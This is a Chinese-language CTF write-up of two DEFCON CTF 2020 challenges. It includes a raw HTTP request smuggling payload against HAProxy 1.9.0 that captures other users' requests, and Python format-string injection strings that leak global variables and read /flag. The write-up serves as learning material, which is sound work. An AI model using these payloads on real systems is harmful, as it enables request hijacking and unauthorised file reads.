返回

DEFCON CTF 2020 upload&dog

DEFCON…

uploooadit

Source: app.py

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()

@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201

@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)

@app.route("/", methods=["GET"])
def root():
    return "", 204

stroe.py

"""Provides two instances of a filestore.

There is not intended to be any vulnerability contained within this code. This file is provided to
make it easier to test locally without needing access to an S3 bucket.

-OOO

"""
import os

import boto3
import botocore

class NotFound(Exception):
    pass

class LocalStore:
    def __init__(self):
        import tempfile
        self.upload_directory = tempfile.mkdtemp()

    def read(self, key):
        filepath = os.path.join(self.upload_directory, key)

        try:
            with open(filepath, "rb") as fp:
                return fp.read()
        except FileNotFoundError:
            raise NotFound

    def save(self, key, data):
        with open(os.path.join(self.upload_directory, key), "wb") as fp:
            fp.write(data)

class S3Store:
    """Credentials grant access only to resource s3://BUCKET/* and only for:

    * GetObject
    * PutObject

    """

    def __init__(self):
        self.bucket = os.environ["BUCKET"]
        self.s3 = boto3.client("s3")

    def read(self, key):
        try:
            response = self.s3.get_object(Bucket=self.bucket, Key=key)
        except botocore.exceptions.ClientError as exception:
            if exception.response["ResponseMetadata"]["HTTPStatusCode"] == 403:
                raise NotFound
            # No other exceptions encountered during testing
        return response["Body"].read()

    def save(self, key, data):
        self.s3.put_object(
            Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key
        )

代码很简单,提供了上传文件和查看文件的功能。 上传文件是通过s3://BUCKET/上传到aws上去

思路:

  1. 利用文件上传和查看 一开始认为flag是在某个guid编号下的文件,所以可以采用暴力破解读取,不过后面想了想32位的数字爆破,打比赛的情况下,跑出来怕是天都黑了,所以这条路行不通

  2. 猜测s3权限控制存在问题 网上有很多说s3的权限控制存在问题,导致可以列文件目录,格式就是<bucket_name>.s3.amazonaws.com,该题中可以尝试uploooadit.s3.amazonaws.comoooverflow.s3.amazonaws.com,一个权限被限制,一个不存在,这条路也行不通

  3. Http Smuggle 为什么会有这个思路,其实如果用细心的话就会发现,访问站点的时候会过代理,代理是haproxy,后端是gunicorn,如果研究过sumggle的人,就会反应过来这里有问题,发一个http异常包,haproxy就会返回版本号,详情可以看看这个HAProxy HTTP request smuggling,1.9.0正好是一个有漏洞那个版本

因此就要利用smuggle去获取flag,一开始我想的是flag会在haproxy转发请求头中(主要来源是),所以构造了2个http请求,第1个http请求里面有两部分http请求包,如下

POST / HTTP/1.1
Host: uploooadit.oooverflow.io
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/plain
X-guid: 00000000-0000-0000-0000-000000000000
Content-Length: 0
Transfer-Encoding:[\x0b]chunked //需要替换\x0b

0

POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: text/plain
X-guid: 00000000-0000-0000-0000-000000000001
Content-Length: 300 //确保能够走私足够多的下个请求数据

x=1

根据上面那篇文章,这里的走私情况是TE-TE(因为haproxygunicorn都是遵循RFC2616的实现,CLTE共存,选择TE),需要绕过代理chunked的识别,最终变成CL-TE。 第1部分主要是上传文件,\x0b用来绕过haproxy的识别。第2个部分使用了超长的CL,为了走私第2个http请求的数据,获取到flag 第2个请求就是个简单的文件上传就行了。最后读取第2个部分的X-guid文件名就行了。 不过测了很久都没有出效果,当时还以为自己的姿势错误了,后来看下作者的视频,原来是有个bot在发起flag的请求,这样会有一个问题,如果人一旦很多,就会走私到其它的人请求,那么这个题想必是全靠脸了😂 最后自己的方法也是成功了,不过获取到的数据太短,flag不全😂

用作者提供的攻击脚本,有时候也跑不出来,不过成功率还是很高的

dogooos

这题太多,就不贴代码了,需要可以直接去github下载dogooo_comments.pyloaddata.py 功能明确,主要是评论、登录、登录后的添加用户和添加文章,其中评论添加存在过滤

思路:

  1. 命令执行绕过? 其中一个runcmd的接口很吸引人,尝试访问,直接扑街,这里其实是出题人放的陷阱,他在后端部署了seccomp的沙箱,如果你开始尝试绕过,你就中计了(会玩,😂)
  2. 格式化字符串漏洞??? 仔细看loaddata.py的包引入,可以发现有个fstring,这个是可以造成格式化字符串漏洞的,能执行命令,类似eval,详情看到p师傅的文章Python 格式化字符串漏洞(Django为例)
    查找f()的引用
    username来自于登录后的用户创建,get_user_info的调用在用户登录时候调用
    所以需要登录用户之后创建用户名为{command}的用户,再登陆,就可以看命令执行的结果了。最后还是回到了如何登录的问题上。 在分析loaddata.py的时候,会发现有一个叫post_results的全局变量被很多方法调用,而且在get_posting中,执行的跨表查询sql中会把user表的内容给返回,理论上数据表中肯定存在创建文章的用户,这个就是我们的目标
    接下来就是怎么获取post_results内容了,在get_comments中也做了一次格式化操作,刚好内容就是评论
    获取post_results
{rating[comments][0].__init__.__globals__[post_results]}

登录后,创建用户,直接读取/flag

{open('/flag').read()}

One’Strom

  • Smuggle 在Blackat 2020里面有个议题是讲smuggle,应该会有些新东西

HTTP Request Smuggling in 2020 – New Variants, New Defenses and New Challenges

2020-05-24 19:31:08 星期日(ง •_•)ง

Licensed under CC BY-NC-SA 4.0